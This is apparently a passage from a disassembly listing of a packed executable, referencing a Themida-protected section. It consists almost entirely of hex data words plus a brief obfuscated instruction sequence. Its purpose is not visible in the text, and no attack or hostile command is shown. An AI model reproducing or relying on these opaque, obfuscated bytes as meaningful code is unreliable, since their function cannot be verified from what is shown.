0AEB1325Eh, 57B3BB59h dd 0CAD13256h, 3C4D77DDh, 0EAB13251h, 0B8F3AE02h, 73EAC8DDh dd 5DB13FBFh, 0E57A6756h, 1F2D0836h, 0B848B92Ch, 56BEFFA2h dd 0EAB1325Bh, 0D72F8936h, 34BE678Dh, 5DB13256h, 0BA58F137h dd 0F4B13256h, 0FE9519ECh, 33E890C9h, 595B4F5Eh, 4A5299AFh dd 0EAC445D1h, 9B3A5436h, 0AEB1B859h, 6D03256h, 0ABA6B759h dd 54BE3256h, 0EAB13247h, 75B13EBFh, 0F3526F56h, 0DAD9E1A9h dd 0BFA03190h, 31D16141h, 43D0CBDDh, 0D5B13256h, 0B35BB30Ch dd 15B72488h, 0DC43B930h dd 3C69C6ECh, 0EA2BBFAFh, 0BEB724C5h, 0ABB13242h, 742DFB79h dd 0AE0446AAh, 809C0825h, 0F2DC56BDh, 45C368F3h, 0AEB156EEh dd 493A3D56h, 0A4B13256h, 0D5B12AD7h, 0EAA2DB56h, 0E6433256h dd 59A0F783h, 0F2699A8Bh, 176DDAFFh, 8F4AEDA3h, 0FB4D525Eh dd 0D5B1BA59h, 8BE93256h, 75B4B1BEh, 0A03F3D56h, 3DB13256h dd 0AEB1BA59h, 5A583256h, 69B13256h, 0C6E1A209h, 0E791B7ABh dd 2C798A71h, 0B5BAB937h, 5DB126D3h, 0AEBEDB56h, 0CEAF3256h dd 0F9F1EA95h, 0FB07C0D5h, 0CD7B3710h, 8D700969h, 0BAB14CBFh dd 4C3E3D56h, 47B13256h, 57B1325Ah, 3E0C6074h, 82B0D570h dd 7FE448DCh, 80B57955h, 38BEF36Dh, 5DB13227h, 0AEB122BFh dd 4D995356h, 0B3FFAE56h, 0DCFACCDh, 1A144C63h, 75B7DBCAh dd 37843256h, 0A57FBD4Dh, 0CEA17955h, 57B13FBFh, 2B3E3F56h dd 0E2DB5C5Ch, 45F3C42Fh, 4ED06045h, 0B1333D97h, 3DB13256h dd 0CF7FB930h, 57B13EBFh, 0E358CB56h, 0B5B13256h, 2A0B8D30h dd 758CDB37h, 37483256h, 4A383DCCh, 7D4EC750h, 579CDBAFh dd 24BE3256h, 0D5B13257h, 0DF2BBFA3h, 7AB725DAh, 0BAB134D6h dd 0A43A5256h, 51D06B05h, 57BCDB85h, 0CF8B3256h, 26BE9F84h dd 0F851B833h, 2EB4084Dh, 0B57E8536h, 5DB136DBh, 93085456h dd 0E4853FEh, 0ABA8B659h, 0C1583256h, 1BB13256h, 803B7A1Ah dd 0C931DCB4h, 0C9FBEC60h, 0D7ADA849h, 0FF7FE4Bh, 0CA69B936h dd 0AD005295h, 0EAB138BFh, 0D7794956h, 0BC02FB0Ah, 3C7C5A3Fh dd 0B4323D03h, 58B13256h, 0ABB126D5h, 0D5BEDB56h, 5FF03256h dd 259F0AD9h, 61963B7h, 4B7F77FCh, 475DB946h, 57B1325Ch dd 1DCF66E2h, 64C83A54h, 0EA59CA9Bh, 2FB13256h, 5AF1D8D7h dd 0B4D13440h, 0AEB1325Ah, 0F1F1DE75h, 0F07425FCh, 3E4EE3FAh dd 61BE53A3h, 75B13257h, 0DAD1C7A3h, 5DBBB459h, 0AB583256h dd 17B13256h, 0DAE31C5Ch, 307AB330h, 60BE534Ch, 75B1324Ah dd 0BAA3DB36h, 48913256h, 0D738A8CCh, 0CE84B756h, 75D886FEh dd 96AC144Dh, 8B45D5D6h, 0E6F588DBh, 38BE3440h, 5DB13257h dd 0A6F4B9AEh, 57BCB659h, 0A4D13256h, 0D5B132DCh, 7AB78D56h dd 15D03B91h, 12D7FCD7h, 0D6D1340Dh, 0AE313DA1h, 36B13256h dd 0CBB6BB37h, 734DDBD7h, 2C3B01A6h, 79F4B937h, 2C0F5436h dd 3CE86247h, 0CEB575DFh, 0BC43B330h, 0F93E8CF2h, 5ED034F1h dd 66BE2213h, 75B1325Ch, 0B5EE6536h, 5DB132D0h, 0E9385356h dd 57BEDB5Ah, 2A403256h, 0DC8DC41Dh, 0E2F537Fh, 2BCD76F6h dd 0AEF4B9B4h, 5DB13FBFh, 47AC3656h, 416F98B1h, 33472D36h dd 9238CA73h, 0E73A3D46h, 15B13256h, 7BBBFAD7h, 0DCD76F85h dd 0CF102B8Fh, 40303D37h, 0A4B13256h, 0D5B123D2h, 0EABDDB56h dd 0BE523256h, 7599EEFFh, 81A8815Ch, 4778FE2Eh, 57B13242h dd 0F64EC11Fh, 7C87360Dh, 809A9207h, 1E1BB0D4h, 13DED28Bh dd 0A8B12294h, 0AEB126BFh, 486AFD56h, 87366C0Dh, 0CBC5FD44h dd 0F2DCC625h, 18941526h, 0B5585229h, 36B13256h, 6661044Bh dd 0EB63D37h, 0D69A6BC7h, 5077FFCDh, 0ECA111B3h, 6FD9C711h dd 0B5192525h, 5DB133DEh, 1B4ECE56h, 51A12F13h, 0ABB137BFh dd 316B9456h, 6744EB7Ah, 6634B8D3h, 3BD75250h, 0B4FE268Dh dd 0AEB13246h, 7114AE7Bh, 2480F821h, 272D16D2h, 9FEC7FFh dd 7A61CD37h, 0BAB123D5h, 563C3D56h, 47B13256h, 57B13250h dd 85ED14Dh, 3CE3151Ch, 0EAB13247h, 0DCFDB297h, 58F4A4C9h dd 0E69D6C88h, 4CC25E98h, 813BBF9Ah, 0CBB724C2h, 0B4E7D4D6h dd 0FE585207h, 8FB13256h, 17F45111h, 3E9EBBAEh, 368E7CBBh dd 40359272h, 0CBD505B9h, 5ED7B3E6h, 3D05385h, 75B1325Dh dd 4D147D11h, 0E1F0F186h, 51E88EDBh, 57B4DB86h, 73043256h dd 8F36C564h, 0E73E3DAFh, 9CB13256h, 0BAB1325Eh, 5CB36B50h dd 0D484972h, 0C367B0DBh, 0CDD13440h, 9557C0D7h, 62D3D9D7h dd 89D06E10h, 0B6F18559h, 2156B336h, 25F65364h, 8F3A53A1h dd 0ABB9B559h, 5ABE3256h, 0EAB13254h, 15E35336h, 0E17BB905h dd 6CBE53AEh, 0BF5868AEh, 18B13256h, 4D2993B6h, 0B2D72E8Fh dd 3C37BAC6h, 0E34ED480h, 32BEF155h, 5DB13259h, 0AEB138BFh dd 2E072556h, 3969A7F1h, 0B52AFF04h, 2230E3E0h, 435F4348h dd 5733BB37h, 0A5B72245h, 0A8393D36h, 0D6B13256h, 97CB7AA6h dd 6305414h, 8BD0486Eh, 6458F1AFh, 8FB13256h, 47DE09BCh dd 0D559D4Bh, 0EFA2CFBFh, 3A8C01F2h, 52FCFC51h, 0FE860h dd 0A2060000h, 307B3D7Ah, 0DDBE8459h, 0A3C5EFD5h, 91C881D8h dd 5E4115B6h, 5F616057h, 0E861h, 815A0000h, 16E35FEAh dd 0BE906h, 0D4B0000h, 72BFB30h, 3A8B8D25h, 5E9F595h, 50000000h dd 88F49043h, 0F606052h, 800FFBB7h, 0 dd 61FD8A61h, 13ED828Bh, 830F0610h, 11h, 0B8A0Fh, 6E90000h dd 0B3000000h, 5E13C8Eh, 0DE9EBh, 12530000h, 0DE37195Ch dd 66705119h, 0B9A85C73h, 41C64E6Dh, 0FE9h, 9DAF6C00h dd 495A4223h, 3BC6EFC0h, 0A3FEAD1Bh, 0F60E1F7h, 28Fh, 0E8616000h dd 9, 7B41E8D4h, 9E956524h, 615AF5F0h, 88D0F5Ah, 0F000000h dd 284h, 60616000h, 66DA8B66h, 561D88Bh, 3039h, 0D88B5060h dd 890F5Eh, 61000000h, 0FFFFFF25h, 8289F57Fh, 61013EDh dd 1860Fh, 5AF50000h, 0F961F860h, 0BE666059h, 0C361FA33h dd 51F18A60h, 615ECE8Bh dword_5B98B0 dd 0EE951h, 0CF6E0000h, 0EC24D470h, 207E3653h, 0E6FEA60Ch ; DATA XREF: Themida_:0054D350o dd 0BE952h, 0BAC10000h, 0AE88C8B1h, 0AC8F6917h, 7800FA5h dd 0F000000h, 18Ch, 0E8F500h, 5A000000h, 0E47CEA81h, 60600616h dd 860Fh, 5E570000h, 6E861h, 0F5400000h, 0A76D1D20h, 61586160h dd 0F5C88BF8h, 0FFFE8FE8h, 6E9FFh, 0E0BE0000h, 4FC7C806h dd 0E9F5D233h, 14h, 7A5886D2h, 0DDA1DF3Bh, 99D892AEh, 7F51EE75h dd 0E1F2645Ah, 830FF1F7h, 18h, 12860Fh, 0DE90000h, 0FD000000h dd 70AFA9BCh, 2D09A8F4h, 6C935B82h, 5AF9C28Bh, 8E960h dd 97720000h, 0C607366Ah, 0BF0FC683h, 0F5961C0h, 885h dd 28D0F00h, 60000000h, 0BE961h, 0EEE00000h, 0F757016h dd 0B28925CBh, 860FC38Ch, 0Ah, 5E9h, 0A621C800h, 0C08BCFB9h dd 11E9h, 6C7F9300h, 0B63D1752h, 0AA8B9DC7h, 252CD0DAh dd 0CE96344h, 97000000h, 674033D9h, 4EAD6BDAh, 8BB94EFFh dd 65B960C0h, 6110678Ah, 0A925858Dh, 0E9600616h, 0Fh, 2317184Ah dd 320497BCh, 9DCFB18Bh, 80D67603h, 0FF61A5DEh, 8B66FCD0h dd 858DF5C1h, 616E335h, 14E9h, 99CD5800h, 0CDC4D5D0h, 2C2E3CCDh dd 78EDFDEBh, 2E18317h, 0C78B6039h, 0FE8h, 0A9B46800h dd 0D7B05777h, 24E94841h, 0F744A9A3h, 8589615Fh, 6101CA1h dd 14840Fh, 0FE90000h, 0B9000000h, 84989FCBh, 453BF84Fh dd 20D75935h, 858D902Fh, 616E445h, 14E9h, 0CAC0800h, 59CEDE92h dd 7711F1FAh, 0FE9983CFh, 0F07563F7h, 14E94Ch, 94460000h dd 9C4F68CBh, 71B9A04Fh, 762CAB24h, 644CED89h, 8589A9FCh dd 6101EE5h, 1F8F0Fh, 8D0F0000h, 19h, 14E9h, 96B6AA00h dd 0C6507D1Eh, 887941F6h, 41ECB229h, 84922217h, 0B879h dd 8A600000h, 0BFB866EFh, 0C00B61E4h, 186840Fh, 52600000h dd 53FEBE66h, 0FE959h, 0F77B0000h, 0ACF015D6h, 1AF25F14h dd 0DCB239C2h, 800F616Bh, 8, 0CE8B6660h, 61CF8B66h, 23E585C6h dd 60560610h, 0F9D64ABFh, 0DF686126h, 0F8A9C530h, 1D45B5FFh dd 0F600610h, 0BE66F1BFh, 8D61E350h, 13858A85h, 14820F06h dd 0E9000000h, 0Fh, 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h dd 0FFBDE184h, 0B8D0FD0h, 0E9000000h, 6, 0B5DD5EF1h, 6050B2B3h dd 13E961h, 9D320000h, 0E4FF84C8h, 1465FD33h, 4CDB0E16h dd 0A5A8203Ah, 0A58D8DFAh, 60061015h, 8BC7BF0Fh, 0E95161F1h dd 7, 0D1195ED5h, 6AAECBA2h, 68F904h, 60000010h, 11E8h dd 0F78CB500h, 72EA5231h, 51A64908h, 40C4C2E7h, 0BE9938Eh dd 0C4000000h, 9B75B464h, 5967D545h, 665B2DB1h, 61A43DB8h dd 1FD5B5FFh, 60600610h, 61CBB3F5h, 14E9h, 0D1F43700h dd 30BD0F77h, 6FA4A4CBh, 8362F16Dh, 328CFA42h, 0D0FF61E3h dd 5E9h, 7F5D3B00h, 0BD8B38F6h, 6101FD5h, 98C0Fh, 0F9600000h dd 860Fh, 3610000h, 890F3C7Fh, 0Ch, 890F60h, 66000000h dd 61C7EBBAh, 0DE9h, 0F18C4F00h, 0D4F58C13h, 5EA12E2Bh dd 0C781368Dh, 0F8h, 0D890Fh, 8E90000h, 5B000000h, 0DEB66242h dd 0C756A2CAh, 202447h, 9E96000h, 46000000h, 6AB7EE43h dd 0F64F42D6h, 0F519D8Dh, 14E90610h, 3C000000h, 88406E00h dd 0FEAC156h, 95ED08F6h, 0DA74DBD6h, 8BB6057Ah, 8D0F6003h dd 3, 0F7DC180h, 181h, 0B61F500h, 43840FC0h, 60000000h dd 0CE9D58Ah, 0CD000000h, 0F2C82B6Eh, 661F105Dh, 6181D7F0h dd 12E960h, 0E53E0000h, 60B142D8h, 987E5E20h, 9986951Dh dd 0E75E3B1Bh, 4820Fh, 0BB660000h, 8B61CD77h, 0F88B6000h dd 4438961h, 0F6B96160h, 0E900234Ch, 15h, 23089068h, 4 dup(0) dd 546E900h, 0FFAF0000h, 0D37900BCh, 0F499209Ch, 0D378FFBBh dd 0F1932296h, 0F410F6B2h, 27A3E286h, 0BCFDB0h, 1E9AD579h dd 0FFBBF097h, 0C979300Ch, 2D6BDA94h, 7932E4B0h, 0DBC708A9h dd 0DDC908BCh, 87597D59h, 0ECD110B4h, 98147947h, 0EFAFCCE3h dd 1AA8637Dh, 0FA6DCC28h, 0C704A71Eh, 0B98257DBh, 0D564D817h dd 330DF92Eh, 2FE45E4Dh, 24006DCCh, 0DDC9FEA5h, 10B78459h dd 0F8B027DBh, 0E8BEAFC1h, 70FD6FCDh, 289A916Bh, 0CC6DCC97h dd 0F08B7B50h, 3AF130CFh, 89774905h, 0CC9720A2h, 525FC46Dh dd 0ECCC09BDh, 49FDBC98h, 0E9FE620Eh, 0CD81BC72h, 8068FAF3h dd 0BF4FA1F7h, 427D31AAh, 0BA96374Eh, 9F23E611h, 776DCCEEh dd 472BD7FBh, 0B99DDC90h, 8928DBCDh, 4D68E4Dh, 50442061h dd 863CF7D4h, 5F088F4Bh, 0E689502Ah, 83D2D4A9h, 6DCCEE3Ah dd 0C227BEFDh, 336AA3EFh, 83CFh, 79323D00h, 0E7412A44h dd 4D6578CAh, 7138E603h, 6DCCB2D3h, 8D79B86Ch, 731F560Eh dd 639038EFh, 0CCB21AA8h, 421EFA6Dh, 5A91374Eh, 5967FE9Dh dd 9752F1D2h, 336A6956h, 1251F3C6h, 83E5025Eh, 8, 0CF06BE7Dh dd 0A22A3F23h, 29437A32h, 7CEE5457h, 2A066DCCh, 1DF514Dh dd 0CC7CB80Ah, 0B6F1956Dh, 0BAB666CAh, 376E169Dh, 5A974C4Bh dd 0DA15B980h, 712D4A26h, 67CE653Eh, 47CE8AC1h, 59EF6BA0h dd 533F7E32h, 7B558C34h, 8BF6CC52h, 0CEABD4B5h, 0DB14B9D0h dd 0C0F9B027h, 32D950D4h, 0DB609FDh, 2E4D4A76h, 9BDA8E97h dd 0C87E3D1Fh, 3CE3708Dh, 927EB36Ch, 3CECA98Eh, 0ED156F6Fh dd 0C77E1D09h, 2B1E28Eh, 2FD46763h, 0DF22D5F2h, 0BF336AE3h dd 5Bh, 3F7E320Dh, 0EA58532Dh, 0A6DCC7Ch, 4E4D390Eh, 0F7B25E97h dd 842809A8h, 0FBB02B45h, 0A635A9BEh, 0D7A9C302h, 0CC7C6ED4h dd 0CDAA866Dh, 0D815BAD1h, 0A9487B2Ch, 0BEF7AE2Dh, 342BF6A9h dd 4A0B336Bh, 81000000h, 533F7E32h, 9F538E34h, 55DC734Ch dd 8DC96BB3h, 0B95FA796h, 328B219Dh, 84F437Ah, 6DCC7CBFh dd 0FDACD790h, 6DCC7C45h, 0F5A1C5A1h, 0F431D6h, 6F44DB96h dd 0FA46C711h, 0BF866A02h, 29846100h, 9336B1Bh, 1, 5C04D783h dd 0D68B4825h, 55F8C39Dh, 50473714h, 24AE6297h, 7A2FF68Dh dd 0A1388D41h, 8069203Ah, 6467FC06h, 552FFE67h, 4B20C53Ch dd 50894057h, 62098074h, 812AB12Dh, 18FC3B43h, 70546908h dd 0D86FD584h, 0F8E49423h, 0E9256AD3h, 1B30D934h, 13EDE988h dd 236EAA18h, 0E2C54A94h, 4EB87DA6h, 28B3C8ACh, 0DE85547Fh dd 9279FDA9h, 94231C30h, 838658D4h, 94231C3Fh, 0C3775BD7h dd 84568B34h, 1C13AF5Ah, 77F39423h, 0F9CE0BC0h, 0A0D58E0Dh dd 6D0497F4h, 72E61BC4h, 0FB37688h, 0E794231Ch, 1C2C9695h dd 6CC89423h, 61AC7388h, 41397BD6h, 12Eh, 88C97C3Fh, 0BD5CD973h dd 78B6DF15h, 2E129456h, 8A5C6D1Ch, 0AEAA67FCh, 0E71CC3C2h dd 6FACD815h, 9F6BC1AFh, 0AF2A14CAh, 6407BEFDh, 0E2F77B27h dd 897DB259h, 70245912h, 0EDE9881Bh, 0C6189100h, 0A2B7D8A5h dd 813D7219h, 7AFCF3BEh, 36D339h, 6EED0000h, 0C65E7BBAh dd 401AC15Ch, 0CC7CD949h, 7521FDEDh, 508940FBh, 7C32907Bh dd 999BEDCCh, 192E6F22h, 6974EB8Ah, 31B15872h, 0D56DCC7Ch dd 0A764E559h, 0D8000000h, 265B04D7h, 0C025B451h, 0CC7C79C9h dd 32907B6Dh, 0D26DCC7Ch, 0BCAA656h, 0D691D56h, 771417E9h dd 0F67FC0Ch, 0BF685F13h, 0FFECCE8Ah, 0EA9E782Bh, 4E7BF7ABh dd 44032F61h, 0CF8C61A0h, 0F709E318h, 233B8E34h, 0ED0A6694h dd 3ADF6A31h, 0AB949423h, 18560D14h, 5BE91976h, 9E4605CDh dd 72CF8B67h, 78667863h, 6A7EED53h, 0BE6D26F9h, 9423EB04h dd 8B6084E0h, 18F39FA0h, 0A2C8059Eh, 7CD6B501h, 0B1AD6D8Ah dd 0E81DC6C5h, 7817AA3Ch, 0F507D4E3h, 9BA2200Bh, 0E6429E14h dd 3B3CEF11h, 0C3942F83h, 0FCD819CCh, 4D7AA40h, 0F0742061h dd 706B8ADBh, 64AAAB5Eh, 0D85467F7h, 0C1F6AD2Ch, 0A0D58E0Dh dd 0BBF7AF4h, 1C10FBD0h, 0C1F907EDh, 468743E2h, 4A0E9F45h dd 763D1AEBh, 952498CDh, 3B4B0EEh, 10BF50A7h, 0CDB9F699h dd 2998D69h, 522D074Dh, 9C552D32h, 0AAC6AAE7h, 0ED2EDFF6h dd 0B4E9A239h, 59F88BC0h, 0B3348E7Dh, 54D0B906h, 942BC670h dd 2DA1D68Dh, 0D4C0F5AEh, 0AC3h, 4D73900h, 0F571255Ch dd 32C288D8h, 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh dd 34533F7Eh, 26A55190h, 39504481h, 30A75B94h, 0CF554178h dd 717868h, 240C8900h, 0C181E189h, 4, 8704E983h, 685C240Ch dd 7EF2h, 68241489h, 2AB5h, 57240C89h, 4717B1BFh, 5FFA893Fh dd 0FF32F281h, 8B543951h, 0C483240Ch, 4EC8104h, 89000000h dd 418F2414h, 2434FF08h, 4C48159h, 0FF000000h, 835A2434h dd 0A9E904C4h, 0ACFFF992h, 4C37478Eh, 16ED65B8h, 0FFC50306h dd 0C6224DE0h, 0A0EAEA0Ah, 0CA54E31Dh, 0AE2E2C17h, 75734E23h dd 0E18BE840h, 49FA0B32h, 4D3C4603h, 5FD3987Fh, 17545527h dd 75B3AB2Ch, 84C59F77h, 890EB870h, 0CCF1902Fh, 3B7A933Eh dd 0B617320h, 9E95B37h, 51284253h, 0B2DD6239h, 6BA9B649h dd 1C45DE1Bh, 0ECD9CA61h, 2FF5A212h, 0AF895638h, 3E80FB74h dd 9A8BC12Ah, 9F09D55Eh, 0BE844h, 0ACC60000h, 54464F12h dd 32B1750h, 11E964h, 3C2E0000h, 8864E881h, 23EB6A2Ah dd 2266B130h, 5B812ECBh, 28A0F51h, 60000000h, 0C3815861h dd 5BC7h, 5EDFDDBFh, 16B8684Ah, 11E90000h, 0C2000000h dd 5E89394Bh, 1EC37765h, 75522AC0h, 43C5CFE9h, 79BF665Eh dd 0E9138B61h, 0Fh, 0CB2D885Dh, 7063C403h, 4E4C4F98h, 81AE1FC8h dd 0F408A1EAh, 0EE969h, 455D0000h, 0CA120967h, 2F268DCEh dd 0F6FBAD06h, 94E8F281h, 14E96186h, 4000000h, 0DB5A241Ah dd 863F5CB8h, 4DBD3A63h, 5B2256FBh, 8108F1F3h, 0DA7584F2h dd 89CE8A4Bh, 28C0F13h, 0B0000000h, 4EB839Ah, 0EE816160h dd 1, 12850Fh, 0F8600000h, 0E243B866h, 17E961h, 58330000h dd 0B43060A1h, 376AB866h, 0FFFF74E9h, 0E418F1FFh, 3E8E456Ah dd 608D8D50h, 6A0616F0h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 20C4C357h, 78D211D2h dd 31AFE72h, 10209595h, 81666006h, 61C3C2EEh, 9F58D89h dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0A706D9C3h, 229DFC98h, 84A7BE66h, 13E9h dd 4E6ADF00h, 88B867BEh, 0A19FAA3Eh, 59E41Dh, 0ED5502A5h dd 231985C7h, 6FC00610h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0F94539C3h, 786BC081h dd 85C713E9h, 61022C1h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C7C35040h dd 0F92F74AEh, 30C5B5FFh, 95890610h, 6100845h, 0C1C9EEB8h dd 0B995FF72h, 6A06102Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0A52BC356h, 2CD23DDBh dd 10E8h, 63D6ED00h, 1F3AB5CAh, 921951E0h, 0D90E8429h dd 0B58960F4h, 6100829h, 5B616160h, 95FF006Ah, 61031C9h dd 3CEBC08Bh, 8D308F3Dh, 0B7257168h, 0F648086Bh, 0F5AE3683h dd 0F2DC0B2Eh, 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 80E8CDA1h dd 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 711B1F9Bh, 0D93A7796h dd 63EF2378h, 1AE9h, 0CB590800h, 39h, 4 dup(0) dd 0E9000000h, 4FBh, 16F1E368h, 8F9EE906h, 7268FFF9h, 0E90616F2h dd 0FFF98F94h, 16F3D168h, 8F8AE906h, 9F4FFFF9h, 0B359E05Ch dd 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h, 0C783C266h dd 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh, 4D6BDA8Ch dd 4D7C450h, 0F571255Ch, 6AA95BD8h, 33681FB6h, 508B2A77h dd 0CC07BB7Eh, 597F5CD8h, 0FC1F31B2h, 0DECDB367h, 9423A164h dd 0D3C7A480h, 42FCAB57h, 0A19423A1h, 9B767312h, 7B397B58h dd 33Bh, 37BA15D1h, 718932A0h, 6C275DCAh, 7B577BB6h, 0BA39AA61h dd 81DD67FCh, 289A916Fh, 0CC943C0Ah, 378B7E50h, 0CF943C0Ah dd 12B97653h, 9159943Dh, 7C4E8D2Ch, 7700D88Dh, 0BD6F669Bh dd 0B28E927Eh, 227F6CBEh, 91DB39B1h, 0FE156885h, 0C80803DDh dd 8891862Bh, 9F4FF3B6h, 0CBA79DA5h, 5D06D5A7h, 594D021Fh dd 0B0945DC8h, 758B60C4h, 0DC1DD08Bh, 0A42F4C28h, 2812C6FBh dd 0D3BF00B1h, 25D110B4h, 8B482541h, 73A9FD4h, 0B4380D8h dd 3348A1Bh, 9F4F0000h, 0B359E05Ch, 9439C07Ch, 0B358DF5Bh dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h dd 0DF5B9037h, 0A91910ECh, 4D6BDA8Dh, 0BD5CC450h, 1F5D4C1Eh dd 0A767F76Ch, 9908BAC2h, 1E5D27Bh, 0A74A11EFh, 26CA9166h dd 0A34615E7h, 0EFD18562h, 7FA81A11h, 7F2A9425h, 94257FC3h dd 0DB574723h, 4B9335FEh, 0C5C490A2h, 94257E7Dh, 0F5B09D99h dd 0FA2FD86Ah, 2A462A06h, 0D9942F76h, 0A79425h, 0C21D1ECBh dd 39ED4A00h, 2A5B0h, 0CB0EC000h, 0A9E0880Fh, 0C6FFA635h dd 0A3E08312h, 0BDFCB027h, 8DFF0B01h, 99209CDBh, 7403B7F8h dd 0A01793CEh, 13F6B2E7h, 8EC08229h, 0C7246BDAh, 1EBD5CFDh dd 6C1F5D4Ch, 0CBA767F7h, 6C3690D7h, 66079425h, 59B2FE1Ch dd 40246E38h, 588F3554h, 35CCEFACh, 4EE59E87h, 818C62ABh dd 1B94239h, 32880000h, 39504479h, 0B8835D92h, 51863D11h dd 0F1A5C1A5h, 7C368C7Fh, 52CE6DCCh, 80E5596Eh, 0A1886279h dd 67FC11B8h, 771ED24Eh, 942396CFh, 0FBFE952Eh, 397B3FB2h dd 3192h, 4D7F800h, 0B548255Ch, 0E8A3BD1Eh, 67FC7CCBh dd 7423CF4Bh, 942383CAh, 0B66AA95Bh, 45316A1Fh, 0D6FA992Ah dd 0FAFF962Dh, 397B36B7h, 0DA97h, 7932F500h, 0E6C006A9h dd 2B8B793Ah, 0FBD5F1D5h, 7A4F8A40h, 815B0D8Ch, 0C2AE92CDh dd 23DF168h, 0D56D1C0Eh, 316DCCF2h, 4C3F1135h, 6DCCF2F6h dd 7E35120Eh, 0E5E490C5h, 64F7093Eh, 0F16582BFh, 0CC8FAE3Ah dd 93C87F6Dh, 32084517h, 17E725B3h, 373A8883h, 7EDA6DCCh dd 0E1F88562h, 8470AB5Fh, 0C1AAC4A0h, 82A095BFh, 0F709DE9Dh dd 0FABF0C34h, 7688E467h, 460241E3h, 443E574h, 83B86CE7h dd 21253A88h, 627EDA94h, 43E7EF5h, 5142524Ah, 146h, 0BA6EB161h dd 0DA4E853Bh, 0F16DA65Bh, 0D488C56Ah, 0E864A345h, 0B0548602h dd 8B3EBD71h, 63078E4Ah, 7E25B428h, 0A69A9549h, 0DA8F5FE3h dd 723AB76Bh, 7C5696D7h, 0FAF266FDh, 73B256DDh, 0B256E5B7h dd 26DD5673h, 0D7AF3DF1h, 6F235E04h, 0A65DD6F3h, 817DDE68h dd 1C9B9FC1h, 584C2869h, 13BA8A41h, 7B4126DAh, 739EDC38h dd 6C29EC2h, 0AFC11AB9h, 0FC24C7FCh, 29431F67h, 0BBFFEB2h dd 0CA03AA31h, 89805AD6h, 943CE339h, 0BF6C81DDh, 943CE307h dd 7E3A6F18h, 31661D9Ch, 2E2AD845h, 58C2042Dh, 30D45F7Ch dd 0A45CDFF1h, 0C4C7B96Dh, 943C717Eh, 0A1B69A96h, 8CF4E5h dd 5C480000h, 5D4C1EBDh, 67F76C1Bh, 0D815BA81h, 6F33482Ch dd 0DF88FFF3h, 709BD0AAh, 5F55EF07h, 0A56F2613h, 432025E8h dd 8229B026h, 0C912594Dh, 9AD4D8E0h, 14CB6A09h, 33EC6BDFh dd 0D07312FEh, 3FE8DF93h, 0CA7F160Ah, 36771A91h, 0AA9584Ah dd 97221CC6h, 316820F0h, 0E805E145h, 0CE75BC53h, 160A4BFEh dd 9882361Ah, 1A152B3h, 0B157C576h, 2DDF567Ah, 491E02EEh dd 0F0A4D992h, 0DE7h, 215F5500h, 7CF64C3Fh, 120E6DCCh dd 80326F35h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh, 50CF5541h dd 405E089h, 83000000h, 48704E8h, 24248B24h, 3AB268h, 242C8900h dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 0E368240Ch dd 8B0616F0h, 0C483242Ch, 0C8B5404h, 4C48124h, 81000000h dd 4ECh, 242C8900h, 8B08418Fh, 8950240Ch, 405E0h, 4050000h dd 87000000h, 8B5C2404h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- db 1Bh dd 0D93380AEh, 0B812AD67h, 616F53Ch, 0E0FFC503h, 2799A518h dd 694858D9h, 12E2AA8Eh, 5573694Ah, 6EF273A4h, 5BD6E045h dd 76CBF018h, 5E9559D8h, 6A31BE7Fh, 4E818DDBh, 27B4C52Fh dd 6056C3A5h, 67C81F17h, 7EA73826h, 12A7A91h, 1EBC488h dd 1D3EA071h, 2C80A945h, 59B2AB43h, 1918D5F7h, 79D6308Eh dd 7C743B18h, 57845ADBh, 0BE8h, 800E8D00h, 8FF74A53h, 4F56DE6Ah dd 5BFE8B66h, 81FEBF0Fh, 7498C3h, 7316B900h, 6836C1h, 81000000h dd 7476FEEh, 820F5871h, 6, 3687D981h, 148B5D9Ch, 0FA8B6603h dd 6B54F281h, 0FE9546Dh, 5B000000h, 1B67A72Bh, 0ABBF3939h dd 9AAFF3F9h, 0C281528Ch, 53FC49FCh, 0FFCE8166h, 39C28135h dd 660E0394h, 89D640BFh, 8DB50314h, 178AB966h, 0F04E883h dd 138Fh, 7E800h, 153C0000h, 6B64D95Eh, 830F47h, 59000000h dd 8C28F881h, 850FFFFFh, 17h, 0E9F0B70Fh, 21h, 56DCCF8Ah dd 0E9A4BE8Dh, 7049AAB8h, 66F6438Eh, 0E98E0ABFh, 0FFFFFF7Ah dd 7E4356BAh, 9C9CCEABh, 14E80Ah, 0BFE50000h, 18C70BA7h dd 0D61F80EAh, 46B24BADh, 0DFCA891h, 0F081524Bh, 483BBFD5h dd 0BE66575Fh, 8158D03Dh, 6F8FC7h, 0C18B6600h, 68h, 0BE666000h dd 8B0FE314h, 4, 6D09BA66h, 13E95961h, 1D000000h, 0ED7EAD9Bh dd 12D329BBh, 6C90CBDCh, 0AB23D44Dh, 148B1B7Dh, 1CF2810Fh dd 0BE6DD6EFh, 4C5D1990h, 303DC281h, 46B702A1h, 6DBDEA81h dd 83B76D36h, 0D6816652h, 48F932Bh, 0D88B660Fh, 338E981h dd 8166663Fh, 818C66D3h, 3F0334C1h, 0C1B86666h, 40F981AEh dd 0FFFFF91h, 1485h, 8FB05100h, 27E95Eh, 0EC0C0000h, 76FA4C1Bh dd 4F794EBFh, 4870FA7h, 66000000h, 0E98358B8h, 0FFFFFF92h dd 1CEB4DADh, 0F3A22918h, 4CAC48AEh, 0EE835h, 97FE0000h dd 4E124506h, 0D6779F6h, 2B9E3E14h, 1332BE66h, 0F505158h dd 